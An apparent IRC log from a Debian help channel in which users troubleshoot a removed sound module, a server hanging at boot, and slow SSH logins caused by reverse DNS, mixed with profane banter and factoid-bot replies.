| 00:00.52 | dbernar1 | maher, ok I now do, still not. |
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| 00:02.30 | maher | dbernar1: did you restart ssh |
| 00:02.53 | dbernar1 | maher hehe... |
| 00:02.57 | dbernar1 | how again? |
| 00:03.14 | maher | dbernar1: /etc/init.d/ssh restart |
| 00:03.15 | dbernar1 | isnt it gonna throw me out? Im not there, I am sshing in. |
| 00:03.21 | maher | dbernar1: ssh is clever |
| 00:03.48 | maher | dbernar1: don't log out till you've checked you can log in from a different terminal |
| 00:03.53 | dbernar1 | maher, #flood? |
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| 00:04.22 | maher | dbernar1: i'm there |
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| 00:06.20 | dbernar1 | thank you. |
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| 00:06.31 | dbernar1 | it works great. |
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| 00:07.48 | Tatiana_Stos | mas o povo gosta mais de slackware do que de debian.. |
| 00:08.20 | liable | english? |
| 00:08.26 | Tatiana_Stos | sorry |
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| 00:12.15 | TecnoVM64 | hello, i have a big problem, i accidentally did rmmod snd-intel8x0 now i cant find a way to restore it, any solutions? |
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| 00:12.32 | dvs | TecnoVM64: Reinstall the kernel package |
| 00:12.38 | TecnoVM64 | :O |
| 00:12.39 | glasse | Wait |
| 00:12.42 | ma3x | hey is there like itunes or something for debian? |
| 00:12.43 | liable | TecnoVM64: modprobe snd-intel8x0 |
| 00:12.46 | glasse | TecnoVM64: Delete? |
| 00:12.49 | ma3x | i wanna pay & download songs |
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| 00:12.58 | glasse | TecnoVM64: Do modprobe |
| 00:13.02 | TecnoVM64 | i did |
| 00:13.06 | liable | TecnoVM64: dont use rmmod with 2.6, use modprobe |
| 00:13.07 | TecnoVM64 | but the module isnt there |
| 00:13.15 | dvs | Oh. |
| 00:13.30 | glasse | TecnoVM64: In what way is it not there? |
| 00:13.32 | TecnoVM64 | does it works if i have another debian box and try to copy the module? |
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| 00:13.51 | liable | TecnoVM64: what makes you think its not there? |
| 00:14.14 | TecnoVM64 | nstall snd-intel8x0 /sbin/modprobe --ignore-install snd-intel8x0 && /usr/sbin/alsactl |
| 00:14.18 | TecnoVM64 | whoops |
| 00:14.23 | TecnoVM64 | fatal__: Module snd_intel8x0 not found. |
| 00:14.29 | TecnoVM64 | thats what it says |
| 00:14.34 | TecnoVM64 | i tried to google |
| 00:14.37 | TecnoVM64 | and nothing |
| 00:15.01 | abrotman | TecnoVM64: updatedb;locate snd_intel8x0.ko |
| 00:15.08 | liable | TecnoVM64: did you actuelly delete the module from /lib/modules? |
| 00:15.11 | dvs | TecnoVM64: And "modprobe snd-intel8x0" as root didn't reload it? |
| 00:15.27 | TecnoVM64 | yes im root |
| 00:15.28 | ebryn | any ideas why booting would halt at "INIT: version 2.86 booting"? |
| 00:16.04 | TecnoVM64 | abrotman: ok the mod appears to be there |
| 00:16.29 | TecnoVM64 | abrotman: now do i have to copy it to its original location? |
| 00:16.44 | dvs | TecnoVM64: Where is it now? |
| 00:16.56 | abrotman | TecnoVM64: where did you move it to ? |
| 00:16.58 | TecnoVM64 | /lib/modules/2.6.8-2-686-smp/kernel/sound/pci/snd-intel8x0.ko |
| 00:17.03 | abrotman | sems like the right place to me |
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| 00:17.08 | abrotman | TecnoVM64: uname -a |
| 00:17.15 | abrotman | !tell tweak232 about knoppix |
| 00:17.42 | ma3x | !tell me about knoppix |
| 00:17.47 | TecnoVM64 | Linux tecnovm64 2.6.8-2-686-smp #1 SMP Mon Jan 24 02:32:52 EST 2005 i686 GNU/Linux |
| 00:17.57 | abrotman | then the module is in the right place |
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| 00:19.07 | TecnoVM64 | oh wait, i forgot the updatedb |
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| 00:21.57 | TecnoVM64 | abrotman: ok now after the updatedb it isnt there |
| 00:22.08 | glasse | dvs: You were right |
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| 00:22.31 | abrotman | TecnoVM64: apt-get --reinstall install kernel-image-2.6.8-2-686-smp |
| 00:22.35 | abrotman | or something like that |
| 00:22.41 | abrotman | TecnoVM64: why did you delete it ? |
| 00:22.49 | TecnoVM64 | just accidentally |
| 00:23.02 | EruditeH1rmit | hey, when I start vnc4server and try to view it on another machine, I get a grey screen with an X cursor. I have exec fluxbox in ~/.vnc/xstartup, can anyone help? |
| 00:23.14 | dvs | glasse: About what? |
| 00:23.16 | abrotman | TecnoVM64: why didn't you tell us that to begin with ? |
| 00:23.25 | abrotman | dvs: everything! |
| 00:23.37 | TecnoVM64 | dunno, sorry :( |
| 00:23.43 | dvs | abrotman: PPPffft!!! Now I know you're kidding |
| 00:23.48 | glasse | TecnoVM64: rmmod is different from rm |
| 00:23.53 | abrotman | dvs: you're right! .. you're on a roll |
| 00:24.09 | exobyte | Assuming I have permission, is there a command to execute a file via ftp? |
| 00:24.13 | glasse | TecnoVM64: rm deletes a file, including a module file. rmmod just disconnects it from the running kernel |
| 00:24.31 | TecnoVM64 | i did rmmod |
| 00:24.33 | TecnoVM64 | not rm |
| 00:24.39 | TecnoVM64 | and that happened |
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| 00:25.36 | glasse | I have never heard of rmmod deleting a file |
| 00:25.44 | glasse | If you have the command you performed, I'd like to see it |
| 00:25.55 | maher | TecnoVM64: if you mistype and type rm mod foo it will remove foo |
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| 00:26.42 | TecnoVM64 | i'll find the command |
| 00:27.02 | TecnoVM64 | rmmod snd-intel8x0 |
| 00:27.06 | TecnoVM64 | that one |
| 00:27.21 | maher | TecnoVM64: that shouldn't have deleted anything |
| 00:27.36 | dvs | rm mod snd-intel8x0 will remove a file |
| 00:27.56 | abrotman | if you're in that directory .. dunno why you would be |
| 00:27.57 | dvs | TecnoVM64: What did it say after you ran the command? |
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| 00:28.05 | TecnoVM64 | nothing |
| 00:28.13 | ^Willie^ | is the storm over ? |
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| 00:28.52 | liable | TecnoVM64: just re-install the kernel |
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| 00:29.00 | abrotman | ^Willie^: did you learn how to read ? |
| 00:29.18 | TecnoVM64 | liable: reinstall the whole kernel? :o |
| 00:29.20 | liable | !tell TecnoVM64 about insmod |
| 00:29.36 | ^Willie^ | i already know those cobalt howto`s :S |
| 00:29.37 | maher | TecnoVM64: sure - just use --reinstall |
| 00:29.45 | liable | TecnoVM64: you should have it in cache unless you cleaned it, no big deal.. |
| 00:29.47 | TecnoVM64 | ok |
| 00:29.58 | tuxetuxe | Anyone had any luck running 3ddesktop with debian sid in an amd63? it keeps telling m3ddeskd: relocation error: 3ddeskd: undefined symbol: XF86VidModeQueryVersion" :(e " |
| 00:30.02 | ebryn | any ideas why i wouldn't be able to boot to /bin/bash from running "linux init=/bin/bash" from lilo? |
| 00:30.18 | exobyte | <PROTECTED> |
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| 00:30.28 | abrotman | ebryn: it's not there |
| 00:30.35 | maher | ebryn: did you just install a new kernel? |
| 00:30.42 | scarynetworkguy | ebryn: God hates you? |
| 00:30.46 | ebryn | heh |
| 00:31.00 | ebryn | i have a server thats been up for like ~170 days |
| 00:31.21 | abrotman | so? |
| 00:31.25 | ebryn | i reboot it, and it hangs at "INIT: version 2.86 booting" |
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| 00:31.45 | maher | ebryn: check the bootloader config |
| 00:31.46 | scarynetworkguy | abrotman: I like frogs. |
| 00:31.57 | ebryn | so i try setting init=/bin/bash instead, and that just hangs too |
| 00:32.07 | ebryn | but setting it to /bin/dash works |
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| 00:32.18 | abrotman | scarynetworkguy: did you know cows are brown, white, or black ? |
| 00:32.38 | abrotman | disk problems ? |
| 00:32.59 | ebryn | i've ran xfs_repair on the partitions |
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| 00:33.25 | scarynetworkguy | abrotman: Spooooooon!!! |
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| 00:33.43 | maher | ebryn: try debsums |
| 00:33.43 | abrotman | !spork |
| 00:33.43 | dpkg | well, spork is an amazing utensil, because it's totally useless as a fork, and totally useless as a spoon, yet everyone has used one before |
| 00:34.01 | ebryn | i can boot to a ubuntu live cd and mount the partitions and chroot to it and run all the services off the drive perfectly fine |
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| 00:35.22 | TecnoVM64 | thanks all |
| 00:35.25 | maher | ebryn: check the bootloader config |
| 00:35.27 | TecnoVM64 | it worked perfectly :) |
| 00:35.46 | dvs | TecnoVM64: Don't use rmmod |
| 00:35.56 | ebryn | maher: everything looks normal in lilo.conf |
| 00:36.02 | abrotman | !rmmod |
| 00:36.07 | TecnoVM64 | dvs: lol yeah i supossed that its my lesson |
| 00:36.09 | abrotman | dpkg: hello |
| 00:36.10 | dpkg | Hi, abrotman! |
| 00:36.13 | abrotman | dpkg: rmmod |
| 00:36.16 | abrotman | wtf |
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| 00:36.21 | liable | !insmod |
| 00:36.21 | dpkg | Sorry, that command doesn't exist. Surely you meant "modprobe"?, or modprobe also loads dependencies, insmod only loads what you tell it to load. NEVER attempt to use insmod under 2.6. Use modprobe. Did we mention "modprobe" yet? |
| 00:36.22 | abrotman | !insmod |
| 00:36.23 | dvs | rmfaq? |
| 00:36.24 | abrotman | ah ... |
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| 00:36.56 | liable | TecnoVM64: ^^ that applies to rmmod too. |
| 00:37.03 | TecnoVM64 | oh |
| 00:37.04 | TecnoVM64 | ok |
| 00:37.14 | dvs | liable: So what should you use instead of rmmod? |
| 00:37.23 | liable | modprobe -r |
| 00:37.35 | dvs | liable: Oh? I never knew that existed. |
| 00:38.11 | abrotman | scarynetworkguy: what am i! |
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| 00:38.30 | abrotman | modinfo abrotman |
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| 00:38.36 | FieldySnuts | apt: samir? |
| 00:38.36 | apt | Back up in your ass with the resurrection! |
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| 00:39.12 | scarynetworkguy | abrotman: A bitch who won't take me to Warmdaddys? |
| 00:39.31 | abrotman | scarynetworkguy: you come to philly .. we go! |
| 00:39.40 | abrotman | scarynetworkguy: i *cannot* carry the place to you :) |
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| 00:39.52 | abrotman | SARGE: stop bouncing |
| 00:40.04 | FieldySnuts | !insult SARGE |
| 00:40.05 | dpkg | SARGE is nothing but an halfbaked ass-full of acidic rat retch |
| 00:40.12 | dvs | doh! |
| 00:40.14 | FieldySnuts | what is retch |
| 00:40.20 | shingouz | eugh. yucky |
| 00:40.23 | shingouz | puke, vomit |
| 00:40.27 | FieldySnuts | oh |
| 00:40.36 | FieldySnuts | better than the enema-bucketfull of whatever it sometimes says |
| 00:40.43 | FieldySnuts | dpkg: insult FieldySnuts |
| 00:40.44 | dpkg | FieldySnuts is nothing but a porous mound of villainous rat retch |
| 00:40.45 | shingouz | yuck in anycase |
| 00:40.48 | scarynetworkguy | abrotman: Heh. Fair enough. |
| 00:40.52 | FieldySnuts | anyway. enough of that. |
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| 00:41.15 | shingouz | FieldySnuts: you sure? no more botabuse? ;) |
| 00:41.17 | dvs | Stop sarge! |
| 00:41.36 | FieldySnuts | bloody hell |
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| 00:41.55 | abrotman | scarynetworkguy: i was contemplating my bday party there :) |
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| 00:42.31 | shingouz | sarge, change your nick |
| 00:42.34 | abrotman | SARGE: STOP FUCKING BOUNCING |
| 00:42.37 | shingouz | asshat |
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| 00:42.41 | dvs | abrotman: he's gone |
| 00:42.45 | lilliput | hello |
| 00:42.47 | shingouz | he'll be back |
| 00:42.57 | dvs | shingouz: How do you know? ;-) |
| 00:43.00 | scarynetworkguy | abrotman: I hate you. |
| 00:43.05 | shingouz | dvs: i am psychic |
| 00:43.06 | abrotman | scarynetworkguy: you can come :) |
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| 00:43.23 | FieldySnuts | get an op to +b or some crap |
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| 00:43.25 | ^Willie^ | abrotman it looks like the ircd killed sarge's connection |
| 00:43.30 | abrotman | good |
| 00:43.38 | FieldySnuts | it did that every other time too though |
| 00:43.43 | maher | scarynetworkguy: frog: http://cyclotomic.caltech.edu/tmp/frog.jpeg |
| 00:43.47 | dondelelcaro | if he keeps bouncing, I'll deal with it; no need to worry about it now. |
| 00:43.50 | ^Willie^ | what can he do about that nothing just reconnect and it happend again |
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| 00:43.53 | FieldySnuts | right on |
| 00:43.54 | dvs | shingouz: He didn't come back! ha! |
| 00:43.57 | FieldySnuts | SARGE: /nick somethingelse |
| 00:43.58 | FieldySnuts | dvs: heh. |
| 00:44.00 | dvs | oops! |
| 00:44.00 | shingouz | he is here |
| 00:44.01 | liable | hah |
| 00:44.01 | dondelelcaro | if it worries you, you can always /ignore SARGE JOINS QUITS PARTS; |
| 00:44.13 | FieldySnuts | oh i didn't know you could ignore those |
| 00:44.18 | shingouz | dvs: i told ya so :p |
| 00:44.26 | FieldySnuts | i'd rather see the comotion. </hypocrite> |
| 00:44.27 | lilliput | I know it's not really the place but some of you might be interrested .. I've done a jabber bot here saycurebot@jabber.fr and it's based on turing machine with aiml like alice :) |
| 00:44.36 | Dragon-Eater | Yo, can anyone tell me how /etc/hosts should be looking like? |
| 00:44.45 | FieldySnuts | lilliput: curious |
| 00:44.50 | abrotman | Dragon-Eater: there are examples in the file |
| 00:44.56 | lilliput | I'm looking for some tester if some people could subscribe and test |
| 00:45.00 | Dragon-Eater | where abrotman? |
| 00:45.00 | FieldySnuts | lilliput: if it's some kind of sapm or exploit stuff I will kill you. and Phated will eat the giblets. |
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| 00:45.01 | lilliput | it's really funny |
| 00:45.08 | FieldySnuts | s/sapm/spam/ |
| 00:45.14 | lilliput | FieldySnuts, no it's not |
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| 00:45.20 | ^Willie^ | abrotman don't blame him but the ircop thats not know how to akill :S |
| 00:45.20 | shingouz | Dragon-Eater: in the /etc/hosts. man hosts might also help |
| 00:45.21 | Dragon-Eater | /etc/spam.d/ |
| 00:45.28 | Dragon-Eater | man hosts |
| 00:45.34 | Dragon-Eater | ok |
| 00:45.36 | Dragon-Eater | ill try that |
| 00:45.36 | abrotman | ^Willie^: i have no idea what color your car is |
| 00:45.47 | Dragon-Eater | i do abrotman |
| 00:45.50 | Dragon-Eater | its willie colored |
| 00:45.52 | ^Willie^ | i don't have a colorized car |
| 00:46.27 | ^Willie^ | :p |
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| 00:47.39 | Dragon-Eater | 127.0.0.1 localhost.localdomain localhost |
| 00:47.39 | Dragon-Eater | 192.168.1.253 elite.servers elite |
| 00:47.47 | Dragon-Eater | this is what i currently have in it abrotman |
| 00:47.53 | shingouz | Dragon-Eater: looks ok but do not paste in here |
| 00:47.54 | abrotman | and ? |
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| 00:48.20 | Dragon-Eater | When i use webmin/ftp or the shell from outside its very very slow however apache php and mysql works rapidly fast |
| 00:48.28 | thoffland | cureless, still here? |
| 00:48.33 | abrotman | Dragon-Eater: don't use webmin |
| 00:48.44 | abrotman | hehe .. rapidly fast |
| 00:48.50 | Dragon-Eater | it sometimes take me 1 minute after i ticked in my username in Putty before i get prompted for password... |
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| 00:49.04 | Dragon-Eater | and its local |
| 00:49.05 | Dragon-Eater | :/ |
| 00:49.11 | Dragon-Eater | behind the same router |
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| 00:49.40 | lilliput | FieldySnuts, try some basic sentence there is some pb with double meaning words sometimes but in most of the case it does the job |
| 00:49.57 | FieldySnuts | i'm not on it |
| 00:50.09 | Dragon-Eater | abrotman its not webmin whos just being slow |
| 00:50.11 | thoffland | my stupid sb 24bit still isn't working, if I do alsaconf, it says no suppported pnp or pci devices found, and I've just installed drivers, utils and lib from the alsa site anyone have ideas? |
| 00:50.14 | Dragon-Eater | but my shell and ftp are too |
| 00:50.33 | abrotman | Dragon-Eater: don't use webmin |
| 00:50.45 | Dragon-Eater | but my shell and ftp are SLOW too |
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| 00:50.52 | Dragon-Eater | abrotman it ahs nothing to do with webmin |
| 00:50.55 | Dragon-Eater | its a global issue |
| 00:50.58 | Dragon-Eater | not a webmin issue |
| 00:51.02 | abrotman | Dragon-Eater: i'm just telling you not to use webmin |
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| 00:51.04 | abrotman | !webmin |
| 00:51.04 | dpkg | webmin is a lame web-based interface for unsafe system administration for Unix. Using any browser that supports tables and forms, you can setup user accounts, internet services, DNS, file sharing and so on. Check it out at http://www.webmin.com/webmin/ but, remember, dondelelcaro *hates* webmin. don't use it!, or "i'd rather sit on the floor shoving table knives into live electrical outlets than run webmin on an exposed server." |
| 00:51.10 | abrotman | i don't care if it's slow or not .. don't use webmin |
| 00:51.31 | Dragon-Eater | abrotman Webmin werent so slow on my last install |
| 00:51.32 | FieldySnuts | do it the proper way or don't ask us, it's not how we do it |
| 00:51.41 | FieldySnuts | i mean sure you can ask but... good luck. |
| 00:51.49 | abrotman | Dragon-Eater: do you know why it's slow ? |
| 00:51.59 | abrotman | you might need the webmin module for reading logs :) |
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| 00:52.16 | Dragon-Eater | apt-get install webmin- |
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| 00:52.46 | abrotman | apt-get --purge remove webmin |
| 00:52.59 | tkooda | anyone know of a kernel param to tell init to not attempt to mount remote (nfs) filesystems? (it still tries with 'single') |
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| 00:53.18 | Dragon-Eater | abrotman ITS NOT WEBMIN whos fucking it all up |
| 00:53.27 | abrotman | Dragon-Eater: don't use webmin :)( |
| 00:53.29 | Dragon-Eater | I assume its a host conflict |
| 00:53.31 | Dragon-Eater | grr |
| 00:53.37 | abrotman | Dragon-Eater: it could be .. or reverse dns |
| 00:53.39 | Dragon-Eater | got a better program? |
| 00:53.44 | abrotman | Dragon-Eater: yes .. vi |
| 00:53.56 | Dragon-Eater | -_- |
| 00:54.00 | Dragon-Eater | got a site of it? |
| 00:54.03 | abrotman | of what ? |
| 00:54.05 | abrotman | !vi tutorial |
| 00:54.05 | Dragon-Eater | where i can find some decent info |
| 00:54.05 | dpkg | extra, extra, read all about it, vi tutorial is at: <http://www.dina.dk/~abraham/religion/vi-tutorial.html, or http://bignosebird.com/docs/vi.shtml, or http://www.eng.hawaii.edu/Tutor/vi.html |
| 00:54.07 | Dragon-Eater | of vi... |
| 00:54.29 | Dragon-Eater | !vi screenshots |
| 00:54.35 | abrotman | Dragon-Eater: reverse dns ? |
| 00:54.35 | Dragon-Eater | -_- lame bot |
| 00:54.42 | Dragon-Eater | how to chekc it up abrotman? |
| 00:54.46 | Dragon-Eater | how can i check it? |
| 00:54.57 | bob2 | vi is the unix text editor |
| 00:55.04 | abrotman | do you have any servers in resolv.conf ? |
| 00:55.06 | Dragon-Eater | lol |
| 00:55.09 | Dragon-Eater | hold on |
| 00:55.09 | bob2 | if you like webmin, you won't like vi |
| 00:55.10 | abrotman | !vi |
| 00:55.10 | dpkg | i heard vi is said to be the true ruler of the text editing world, as opposed to that other windowing software or vim is the better of the vi clones or vi stands for i love journey's escape key or very good training for nethack (jedd) or modal, or see vi basics for instructions on basic use., or visual interface, or see vi tutorial, or apt-get install vimpart for KDE users, or http://www.eng.hawaii.edu/Tutor/vi.html |
| 00:55.26 | FieldySnuts | oh god that's fucked up bbl |
| 00:55.30 | abrotman | heh |
| 00:55.32 | Dragon-Eater | yes 1 abec0 |
| 00:55.35 | Dragon-Eater | abrotman |
| 00:55.39 | FieldySnuts | ugh!! :( |
| 00:55.39 | abrotman | i don't think you can retch up bile . not sure though |
| 00:55.45 | Dragon-Eater | i use nano abrotman |
| 00:55.46 | abrotman | Dragon-Eater: and it works ? |
| 00:55.47 | KerPlunk | !start a text editor war |
| 00:55.52 | FieldySnuts | !start an editor war |
| 00:55.52 | dpkg | joe doesn't deserve to be in linux |
| 00:55.52 | Dragon-Eater | how u mean it works? |
| 00:55.58 | KerPlunk | hahahah |
| 00:55.58 | FieldySnuts | "doesn't deserve" HEH |
| 00:55.59 | KerPlunk | lol |
| 00:55.59 | Dragon-Eater | My server aint running bind at all :/ |
| 00:56.02 | abrotman | !u |
| 00:56.03 | dpkg | Damnit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you' (formal singular). See http://ars.userfriendly.org/cartoons/?id=20041201 |
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| 00:56.14 | KerPlunk | bwahahahhahahahha |
| 00:56.17 | KerPlunk | god bless dpkg |
| 00:56.18 | KerPlunk | lol |
| 00:56.20 | abrotman | Dragon-Eater: can it resolve the hostname you're coming from ? |
| 00:56.21 | FieldySnuts | ravenbird: start an editor war |
| 00:56.22 | ravenbird | cat > doesn't deserve to be in BSD |
| 00:56.23 | maher | abrotman: you can retch up bile |
| 00:56.27 | FieldySnuts | heh bsd |
| 00:56.33 | abrotman | maher: i'll take your word for it :) |
| 00:57.11 | Dragon-Eater | abrotman how to check? |
| 00:57.29 | Dragon-Eater | search servers |
| 00:57.29 | Dragon-Eater | nameserver 192.168.1.1 |
| 00:57.38 | Dragon-Eater | but thats my router |
| 00:57.40 | Dragon-Eater | not my server |
| 00:57.41 | abrotman | Dragon-Eater: what is your host IP ? |
| 00:57.47 | Dragon-Eater | 192.168.1.253 |
| 00:57.52 | abrotman | wait |
| 00:57.57 | Dragon-Eater | but its not running bind |
| 00:58.02 | abrotman | you ssh from 192.168.1.253 to the server ? |
| 00:58.03 | Dragon-Eater | i dont need to have it or is it vital? |
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| 00:58.14 | Dragon-Eater | i ssh from 192.168.1.21 to 192.168.1.253 |
| 00:58.19 | Dragon-Eater | 192.168.1.253 = server |
| 00:58.26 | Dragon-Eater | 192.168.1.21 = my current pc im on |
| 00:58.46 | abrotman | so .. in /etc/hosts .. put a 192.168.1.21 21 21.yourcompany.com |
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| 00:59.03 | abrotman | Dragon-Eater: i had a weird problem with hylafax and reverse dns crap |
| 00:59.23 | Dragon-Eater | but im not running a dns server? |
| 00:59.27 | abrotman | who carea |
| 00:59.29 | abrotman | cares |
| 00:59.29 | Dragon-Eater | or at least not that i know of |
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| 01:00.00 | Dragon-Eater | so i have to give my host a dnsname even while its not running a dnsserver? |
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| 01:00.54 | abrotman | Dragon-Eater: did you do what i said ? |
| 01:01.56 | Dragon-Eater | 127.0.0.1 localhost.localdomain localhost |
| 01:01.56 | Dragon-Eater | 192.168.1.253 elite.servers elite |
| 01:01.56 | Dragon-Eater | 192.168.1.21 21 21.yourcompany.com |
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| 01:02.28 | Dragon-Eater | yes |
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| 01:02.44 | abrotman | Dragon-Eater: and no change ? |
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| 01:03.11 | Dragon-Eater | thx :-) |
| 01:03.12 | Dragon-Eater | it worked |
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| 01:03.18 | abrotman | do i get a prize? |
| 01:03.23 | Dragon-Eater | yeah u get my heart |
| 01:03.27 | abrotman | Dragon-Eater: AND STOP USING WEBMIN :) |
| 01:03.33 | pepsi | how can i make it so that i can click (or ctrl-click.. whatever) on links to open them |
| 01:03.47 | abrotman | in which browser .. that might be a useful tidbit of info |
| 01:03.55 | Dragon-Eater | abrotman as long as i cant find anything better thats free im affraid id have to its not like i really want it to use but i simply am forced to |
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| 01:04.06 | abrotman | Dragon-Eater: lots of people use vi :) |
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| 01:04.15 | Dragon-Eater | vi is a text editor u just said... |
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| 01:04.29 | abrotman | yes .. i use vi .. works much better than webmin :) |
| 01:04.31 | Dragon-Eater | im still a too much of a n00b to be able... |
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| 01:04.40 | Dragon-Eater | im trying to learn tough |
| 01:04.44 | Dragon-Eater | i keep reading manuals everyday |
| 01:04.45 | abrotman | Dragon-Eater: i've never used webmin |
| 01:04.46 | Dragon-Eater | well most days |
| 01:04.48 | abrotman | well .. |
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| 01:04.49 | abrotman | wait .. |
| 01:04.58 | Dragon-Eater | abrotman thats why ur a genius and im a loser |
| 01:05.01 | abrotman | i've done work on servers that have it .. but i would never use it |
| 01:05.01 | ebryn | anybody have any other ideas for me? i can set init to /bin/dash but not /bin/bash or /bin/bash-static and get a shell |
| 01:05.02 | abrotman | !ur |
| 01:05.03 | dpkg | Ur is the ancient Sumerian city that dominated Mesopotamia from 6000 BC to 600 BC. If you mean "you are" or "your", just say so. Also swedish for clock, and a swedish word meaning "from within". a german prefix for refering to something very old |
| 01:05.03 | abrotman | !u |
| 01:05.03 | dpkg | Damnit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you' (formal singular). See http://ars.userfriendly.org/cartoons/?id=20041201 |
| 01:05.20 | abrotman | ebryn: tried /bin/sh ? |
| 01:05.21 | Dragon-Eater | YOu dont have to tell me that continuesly mate |
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| 01:05.30 | ebryn | <PROTECTED> |
| 01:05.33 | abrotman | which points at bash anyways |
| 01:05.39 | abrotman | Dragon-Eater: apparently i do :) |
| 01:05.46 | Dragon-Eater | lol |
| 01:05.56 | Dragon-Eater | roflmaostc because of abrotman |
| 01:06.11 | abrotman | ebryn: if you use the livecd .. can you use the bash-static binary ? |
| 01:06.24 | abrotman | or bash .. or anything |
| 01:06.41 | ebryn | abrotman: when booted into the live cd, i can "chroot /mnt /bin/bash" fine |
| 01:06.44 | Dragon-Eater | !tell abrotman about pr0n |
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| 01:06.56 | ebryn | <PROTECTED> |
| 01:07.01 | abrotman | right |
| 01:08.03 | abrotman | ebryn: public server ? |
| 01:08.04 | ebryn | i've reinstalled bash, libc6, and sysvinit |
| 01:08.39 | abrotman | that doesn't mean jack |
| 01:08.42 | abrotman | is it a public server |
| 01:08.52 | ebryn | no |
| 01:09.00 | abrotman | so the drive is iffy ? |
| 01:09.06 | ebryn | nein |
| 01:09.08 | ebryn | raid 5 |
| 01:09.19 | Dragon-Eater | abrotman its not really hard to write a command like apt-get? |
| 01:09.20 | ebryn | compaq scsi drive array |
| 01:09.36 | ebryn | 4x 78GB 10k drives |
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| 01:09.46 | abrotman | Dragon-Eater: que ? |
| 01:09.51 | ebryn | err, 72.8 |
| 01:09.53 | Dragon-Eater | whats que? |
| 01:09.59 | abrotman | ebryn: that doesn't mean they aren't iffy |
| 01:10.00 | abrotman | spanish |
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| 01:10.32 | Dragon-Eater | you know i just sent you about porn-get? |
| 01:10.39 | abrotman | right |
| 01:10.47 | abrotman | ebryn: could the fs be dying ? |
| 01:10.53 | Dragon-Eater | its not hard to write such or is it more then just editing the porn-get file |
| 01:10.55 | Dragon-Eater | ? |
| 01:10.55 | abrotman | ebryn: which version of debian ? |
| 01:10.58 | ebryn | anything is possible |
| 01:11.00 | ebryn | sarge |
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| 01:11.09 | abrotman | ebryn: can you run md5sum /bin/bash ? |
| 01:11.20 | abrotman | 61e8b059aa16e0028a6f19ef5c979a31 /bin/bash |
| 01:11.23 | abrotman | for me anyways |
| 01:11.23 | ebryn | i ran debsums already |
| 01:11.34 | ebryn | matches |
| 01:11.34 | abrotman | and ? |
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| 01:11.38 | abrotman | for what ? |
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| 01:11.42 | abrotman | everything ? or just bash ? |
| 01:11.45 | abrotman | COOKIE! |
| 01:11.47 | ebryn | everything |
| 01:11.55 | cookiemonsta | i got a problem.. |
| 01:11.57 | abrotman | COOKIE! |
| 01:12.02 | dvs | abrotman: Hey! He's not into cookies anymore |
| 01:12.04 | abrotman | COOKIE! |
| 01:12.05 | cookiemonsta | i setup my xf86config... |
| 01:12.07 | abrotman | COOKIE! |
| 01:12.10 | ebryn | lol |
| 01:12.12 | cookiemonsta | but it still runs the shit reso... |
| 01:12.13 | bob2 | hm, what song was that from? |
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| 01:12.17 | cookiemonsta | abrotman! |
| 01:12.23 | abrotman | bob2: sesame street |
| 01:12.30 | stew | !eat cookie |
| 01:12.30 | Dragon-Eater | Eat-cookie install porn |
| 01:12.39 | Dragon-Eater | lol |
| 01:12.42 | abrotman | cookiemonsta: nvidia ? |
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| 01:12.46 | cookiemonsta | yerp |
| 01:12.51 | Dragon-Eater | !eat pig |
| 01:12.56 | welson | for mysql, i just can't see to understand any purpose for ~/,my.cnf files as I can't seem to get passwords working from these files-- (this is a debian exclusive question) |
| 01:13.05 | cookiemonsta | i had it running once the perfect setup.. |
| 01:13.09 | cookiemonsta | then i went to login other then root |
| 01:13.13 | cookiemonsta | and it all went back to shithouse.. |
| 01:13.20 | Dragon-Eater | !tell stew about eat stew |
| 01:13.42 | cookiemonsta | help me!!!!! |
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| 01:13.51 | abrotman | cookiemonsta: nvidia driver? |
| 01:13.53 | cookiemonsta | i got like 640x400 |
| 01:13.57 | cookiemonsta | where? |
| 01:13.58 | cookiemonsta | how? |
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| 01:14.08 | Dragon-Eater | cookiemonsta 1 question at a time |
| 01:14.23 | cookiemonsta | where can i get it, and how do i install it..? |
| 01:14.23 | abrotman | !drxx cookiemonsta |
| 01:14.24 | dpkg | cookiemonsta: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root) |
| 01:14.27 | Dragon-Eater | i have my monitor running at 82 x 48 |
| 01:14.29 | abrotman | since he wont' tell me if he's using nvidia |
| 01:14.34 | cookiemonsta | tried that about a million times.. |
| 01:14.39 | cookiemonsta | yes im using nvidia |
| 01:14.41 | cookiemonsta | i said yes |
| 01:14.52 | Dragon-Eater | i have my monitor running at 82 x 48 |
| 01:15.10 | cookiemonsta | :S |
| 01:15.15 | Dragon-Eater | well its only in textmode so |
| 01:15.20 | cookiemonsta | yeah thought so.. |
| 01:15.24 | abrotman | isn't there a special thingie for nvidia to pick resolution ? |
| 01:15.28 | Dragon-Eater | and most work i do trough putty |
| 01:15.40 | Dragon-Eater | so then i can still enlarge |
| 01:15.45 | cookiemonsta | yeah... |
| 01:15.59 | Dragon-Eater | i hate my provider |
| 01:16.04 | cookiemonsta | not that i know of.. |
| 01:16.12 | Dragon-Eater | they promised me they would link my old ip to my new mac address.. |
| 01:16.17 | fishhead | will probably be leaving any second as it's majorly storming outside and the UPS for his router died a few months back |
| 01:16.20 | Dragon-Eater | and im still not running at my own ip addr |
| 01:16.33 | cookiemonsta | anyone? |
| 01:16.39 | welson | mysql debianers, why ~/.my.cnf? |
| 01:16.42 | abrotman | #nvidia maybe ? |
| 01:16.43 | Dragon-Eater | @213.211.174.253 <-- should be --> 213.211.173.125 |
| 01:16.49 | cookiemonsta | ? |
| 01:16.51 | ebryn | abrotman: any other suspicions other than the disks going bad? |
| 01:17.00 | abrotman | cookiemonsta: are you using nvidia drivers ? |
| 01:17.05 | cookiemonsta | narp.. |
| 01:17.07 | abrotman | ebryn: you've been hacked ? |
| 01:17.12 | cookiemonsta | i just installed debian |
| 01:17.14 | abrotman | cookiemonsta: did you manually edit the X conf file ? |
| 01:17.18 | ebryn | heh |
| 01:17.19 | cookiemonsta | yerp.. |
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| 01:17.24 | abrotman | !x md5 |
